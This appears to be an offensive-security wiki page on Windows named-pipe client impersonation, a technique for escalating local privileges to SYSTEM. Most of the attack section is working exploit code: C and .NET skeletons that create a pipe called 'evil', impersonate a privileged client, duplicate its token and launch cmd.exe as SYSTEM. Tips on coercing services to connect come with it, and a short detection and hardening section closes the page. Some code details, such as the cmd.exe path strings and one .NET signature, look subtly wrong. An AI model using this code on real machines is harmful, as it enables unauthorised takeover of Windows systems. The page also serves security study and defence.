Named Pipe Client Impersonation

Reading time: 6 minutes

Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM).

This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below.

TL;DR

• Create a named pipe: \.\pipe<random> and wait for a connection.
• Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.).
• Read at least one message from the pipe, then call ImpersonateNamedPipeClient.
• Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.

Requirements and key APIs

• Privileges typically needed by the calling process/thread:
  • SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW.
  • Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM).
• Core APIs used:
  • CreateNamedPipe / ConnectNamedPipe
  • ReadFile/WriteFile (must read at least one message before impersonation)
  • ImpersonateNamedPipeClient and RevertToSelf
  • OpenThreadToken, DuplicateTokenEx(TokenPrimary)
  • CreateProcessWithTokenW or CreateProcessAsUser
• Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe.

Minimal Win32 workflow (C)

// Minimal skeleton (no error handling hardening for brevity)
#include <windows.h>
#include <stdio.h>

int main(void) {
    LPCSTR pipe = "\\\\.\\pipe\\evil";
    HANDLE hPipe = CreateNamedPipeA(
        pipe,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        1, 0, 0, 0, NULL);

    if (hPipe == INVALID_HANDLE_VALUE) return 1;

    // Wait for privileged client to connect (see Triggers section)
    if (!ConnectNamedPipe(hPipe, NULL)) return 2;

    // Read at least one message before impersonation
    char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);

    // Impersonate the last message sender
    if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368

    // Extract and duplicate the impersonation token into a primary token
    HANDLE impTok = NULL, priTok = NULL;
    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
    if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;

    // Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
    STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
    if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
                                 L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
                                 0, NULL, NULL, &si, &pi)) {
        // Fallback: CreateProcessAsUser after you already impersonated SYSTEM
        CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
                             NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    }

    RevertToSelf(); // Restore original context
    return 0;
}

Notes:

• If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level.
• Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation.

.NET quick example

In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.

using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
  [DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
  [DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
  [DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
  static void Main(){
    using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
    s.WaitForConnection();
    // Ensure client sent something so the token is available
    s.RunAsClient(() => {
      IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
      IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
      var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
      Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
    });
  }
}

Common triggers/coercions to get SYSTEM to your pipe

These techniques coerce privileged services to connect to your named pipe so you can impersonate them:

• Print Spooler RPC trigger (PrintSpoofer)
• DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
• EFSRPC pipes (EfsPotato/SharpEfsPotato)

See detailed usage and compatibility here:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:

From High Integrity to SYSTEM with Name Pipes

Troubleshooting and gotchas

• You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368).
• If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel).
• CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM.
• Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \.\pipe are accessible according to the server’s DACL.

Detection and hardening

• Monitor named pipe creation and connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) are useful to baseline legitimate pipe names and catch unusual, random-looking pipes preceding token-manipulation events.
• Look for sequences: process creates a pipe, a SYSTEM service connects, then the creating process spawns a child as SYSTEM.
• Reduce exposure by removing SeImpersonatePrivilege from nonessential service accounts and avoiding unnecessary service logons with high privileges.
• Defensive development: when connecting to untrusted named pipes, specify SECURITY_SQOS_PRESENT with SECURITY_IDENTIFICATION to prevent servers from fully impersonating the client unless necessary.

References

• Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
• ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation